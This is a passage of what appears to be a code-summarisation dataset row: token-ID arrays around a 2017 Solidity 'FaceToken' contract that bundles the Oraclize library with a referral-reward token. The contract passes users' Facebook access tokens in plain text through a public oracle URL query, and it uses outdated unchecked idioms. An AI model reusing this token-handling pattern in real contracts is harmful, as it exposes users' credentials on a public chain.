2761,
16507,
1355,
5496,
399,
2579,
30,
2457,
279,
6864,
1045,
416,
2621,
3134,
7343,
358,
2348,
14467,
1791,
28757,
8009,
1660,
1240,
10860,
7470,
3502,
62,
881,
84,
292,
267,
9875,
14567,
30,
4186,
15226,
3560,
434,
5785,
1375,
5743,
68,
603,
5166,
18,
1220,
6885,
353,
1661,
546,
12617,
15797,
287,
471,
1552,
486,
7546,
598,
326,
26305,
434,
4232,
39,
3462,
12165,
18,
26775,
16,
392,
288,
23461,
97,
871,
353,
17826,
603,
4097,
358,
288,
13866,
1265,
5496,
1220,
5360,
12165,
358,
23243,
326,
1699,
1359,
364,
777,
2
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] | [
1,
16351,
490,
407,
79,
38,
26812,
267,
56,
538,
12266,
353,
1772,
16,
467,
654,
39,
3462,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
565,
1450,
5267,
364,
1758,
31,
203,
203,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
3238,
389,
70,
26488,
31,
203,
565,
2874,
261,
2867,
516,
1426,
13,
3238,
389,
14739,
1887,
31,
203,
565,
2874,
261,
2867,
516,
1426,
13,
3238,
389,
11223,
1887,
31,
203,
377,
203,
565,
2254,
5034,
3238,
389,
87,
1165,
6275,
273,
374,
31,
203,
203,
565,
2874,
261,
2867,
516,
2874,
261,
2867,
516,
2254,
5034,
3719,
3238,
389,
5965,
6872,
31,
203,
203,
565,
2254,
5034,
3238,
389,
4963,
3088,
1283,
31,
203,
377,
203,
565,
2254,
28,
3238,
389,
31734,
31,
203,
565,
533,
3238,
389,
529,
273,
296,
49,
407,
79,
38,
26812,
267,
56,
538,
12266,
13506,
203,
565,
533,
3238,
389,
7175,
273,
296,
7969,
56,
13506,
203,
565,
2254,
5034,
2172,
3088,
1283,
273,
15088,
11706,
31,
203,
565,
2254,
5034,
3238,
389,
12908,
537,
620,
273,
22821,
7235,
3462,
6675,
4366,
9036,
2313,
3657,
6564,
4366,
10321,
5908,
7140,
713,
5292,
28,
7235,
8642,
7140,
27284,
2733,
5193,
6028,
25,
1105,
6260,
1105,
4630,
29,
7950,
5877,
5193,
713,
7235,
3437,
24886,
4449,
2733,
4763,
31,
203,
203,
565,
1758,
1071,
389,
8443,
31,
203,
565,
1758,
3238,
389,
4626,
5541,
31,
203,
565,
1758,
3238,
389,
318,
77,
10717,
273,
374,
92,
27,
69,
26520,
72,
4313,
5082,
38,
24,
2
] |
//Address: 0x7ed58877581d07bb4238a8b4d341e54c609b73c2
//Contract name: FaceToken
//Balance: 0.00006260979313981 Ether
//Verification Date: 4/8/2017
//Transacion Count: 162
// CODE STARTS HERE
pragma solidity ^0.4.10;
// <ORACLIZE_API>
/*
Copyright (c) 2015-2016 Oraclize SRL
Copyright (c) 2016 Oraclize LTD
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
pragma solidity ^0.4.0;//please import oraclizeAPI_pre0.4.sol when solidity < 0.4.0
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id);
function getPrice(string _datasource) returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice);
function useCoupon(string _coupon);
function setProofType(byte _proofType);
function setConfig(bytes32 _config);
function setCustomGasPrice(uint _gasPrice);
}
contract OraclizeAddrResolverI {
function getAddress() returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto);
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
oraclize.useCoupon(code);
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ //mainnet
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ //ropsten testnet
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ //kovan testnet
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ //ethereum-bridge
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ //ether.camp ide
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ //browser-solidity
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) {
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_setConfig(bytes32 config) oraclizeAPI internal {
return oraclize.setConfig(config);
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal returns (string) {
return strConcat(_a, _b, "", "", "");
}
// parseInt
function parseInt(string _a) internal returns (uint) {
return parseInt(_a, 0);
}
// parseInt(parseFloat*10^_b)
function parseInt(string _a, uint _b) internal returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal returns (bytes) {
uint arrlen = arr.length;
// get correct cbor output length
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
// if there's a bug with larger strings, this may be the culprit
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
}
// </ORACLIZE_API>
// TokenBase - ERC20 token standart
contract TokenBase
{
string public name;
string public symbol;
uint8 public decimals;
uint256 internal currentSupply;
mapping(address => uint) public balanceOf;
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() constant returns (uint256)
{
return currentSupply;
}
function transfer(address to, uint amount) returns (bool)
{
if (balanceOf[msg.sender] < amount) throw;
if (balanceOf[to] + amount < balanceOf[to]) throw;
balanceOf[msg.sender] -= amount;
balanceOf[to] += amount;
Transfer(msg.sender, to, amount);
return true;
}
}
// Face Token (FACE) - contract code for proof of Facebook token
contract FaceToken is TokenBase, usingOraclize
{
mapping (address => Member) public members; // people who send proof request to the contract
mapping (bytes32 => Member) private approved_members; // people received proof face from the dacebook
mapping (bytes32 => address) private awaiting_oraclize; // requests sended to facebook using oraclize query
uint public constant maxSupply = 10000000 ether; // max supply of FACE tokens
uint public constant startSpreadingBlock = 3510000; // block from which contract accepts proof requests
uint[] private rewards = [100 ether, 50 ether, 25 ether, 12.5 ether, 6.25 ether, 3.125 ether]; // FACE rewards structure
bool private spreading = true; // variable will be set to false when the number of tokens is reached max supply
// structure with information about user who requested proof of facebook, his referrer and referrals
struct Member
{
address addr;
address referrer;
bool approved;
bytes32 id;
mapping(uint => uint) referrals_count;
}
// contract constructor. sets token name to FACE, and first contract member
function FaceToken()
{
oraclize_setProof(proofType_NONE);
name = 'FACE';
symbol = 'FACE';
decimals = 18;
currentSupply = 0;
members[msg.sender] = Member(msg.sender, 0, true, 0x0);
}
// throw if spreading not starts or finished
modifier in_spreading_state()
{
if (!spreading || block.number < startSpreadingBlock)
throw;
_;
}
// throw if member already requested facebook proof
modifier new_member()
{
if (members[msg.sender].addr != 0)
throw;
_;
}
// throw if members referrer not registered or not approved
modifier referrer_valid(address referrer)
{
if (members[referrer].addr == 0 || !members[referrer].approved)
throw;
_;
}
// throw if member send low amount of ether with proof request. ETH needed to cover oraclize feee, and gas in oraclize callback function
modifier fee_valid()
{
if (msg.value < getTransactionPrice())
throw;
_;
}
// main function to request proof of face and get FACE tokens
function request_face_proof(string facebook_user_access_token, address referrer) in_spreading_state new_member referrer_valid(referrer) fee_valid payable
{
// if (!spreading || block.number < startSpreadingBlock || members[msg.sender].addr != 0 || members[referrer].addr == 0 || members[referrer].approved == false || msg.value < getTransactionPrice(gas_limit)) throw;
members[msg.sender] = Member(msg.sender, referrer, false, 0x0);
awaiting_oraclize[oraclize_query(0, "URL", strConcat("json(https://graph.facebook.com/me?fields=id&access_token=", facebook_user_access_token, ").id"), 500000)] = msg.sender;
}
// feature that allows the not approved user to send a proof request again in case of force majeure
function cancel_face_proof_request()
{
if (members[msg.sender].addr == 0 || members[msg.sender].approved == true)
throw;
delete members[msg.sender];
}
// oraclize callback function, returns users Facebook id, and add tokens to user and it referrers if face approved
function __callback(bytes32 myid, string result) {
if (msg.sender != oraclize_cbAddress()) throw;
bytes32 facebook_id = convert(result);
address member_address = awaiting_oraclize[myid];
delete awaiting_oraclize[myid];
if (strCompare(result, '') == 0 || approved_members[facebook_id].addr != 0)
{
delete members[member_address];
}
else if (members[member_address].addr != 0)
{
members[member_address].approved = true;
members[member_address].id = facebook_id;
approved_members[facebook_id] = members[member_address];
register_recurcively(approved_members[facebook_id], 0);
}
}
// private function, called by contract when users face approved
function register_recurcively(Member storage member, uint level) private
{
uint amount = rewards[level]; // get tokens amount accordingly to rewards
if (currentSupply + amount >= maxSupply) // correct amount of tokens and close spreading if total supply of tokens equal max supply
{
amount = maxSupply - currentSupply;
spreading = false;
}
create_token(member, amount); // correct amount of tokens and close spreading if total supply of tokens equal max supply
if (level != 0)
member.referrals_count[level] += 1;
level += 1;
if (level < rewards.length && member.referrer != 0 && spreading == true) // add tokens to member referrer
{
register_recurcively(members[member.referrer], level);
}
}
// function which charges users balance
function create_token(Member member, uint amount) private
{
balanceOf[member.addr] += amount;
currentSupply += amount;
Transfer(0, member.addr, amount);
}
// technical function to convert string to bytes32
function convert(string key) private returns (bytes32 ret) {
if (bytes(key).length > 32) {
throw;
}
assembly {
ret := mload(add(key, 32))
}
}
// returns amount of ether required by oraclize for proof request transaction
function getTransactionPrice() constant returns (uint256)
{
return oraclize.getPrice("URL", 500000);
}
// returns spreading state
function isOpened() constant returns (bool)
{
return spreading;
}
// returns referrals count by line and user address
function level_referrals_count_by_address(address addr, uint level) constant returns(uint)
{
return members[addr].referrals_count[level];
}
// returns all referrals count by user address
function all_referrals_count_by_address(address addr) constant returns(uint count)
{
for (var i=0; i<rewards.length-1; i++)
count += members[addr].referrals_count[i+1];
}
}
| contract constructor. sets token name to FACE, and first contract member | function FaceToken()
{
oraclize_setProof(proofType_NONE);
name = 'FACE';
symbol = 'FACE';
decimals = 18;
currentSupply = 0;
members[msg.sender] = Member(msg.sender, 0, true, 0x0);
}
| 14,085,616 | [
1,
16351,
3885,
18,
1678,
1147,
508,
358,
478,
6312,
16,
471,
1122,
6835,
3140,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
202,
915,
15325,
1345,
1435,
203,
202,
95,
203,
3639,
578,
10150,
554,
67,
542,
20439,
12,
24207,
559,
67,
9826,
1769,
203,
202,
202,
529,
273,
296,
11300,
13506,
203,
202,
202,
7175,
273,
296,
11300,
13506,
203,
202,
202,
31734,
273,
6549,
31,
203,
202,
202,
2972,
3088,
1283,
273,
374,
31,
203,
202,
202,
7640,
63,
3576,
18,
15330,
65,
273,
8596,
12,
3576,
18,
15330,
16,
374,
16,
638,
16,
374,
92,
20,
1769,
203,
202,
97,
203,
202,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
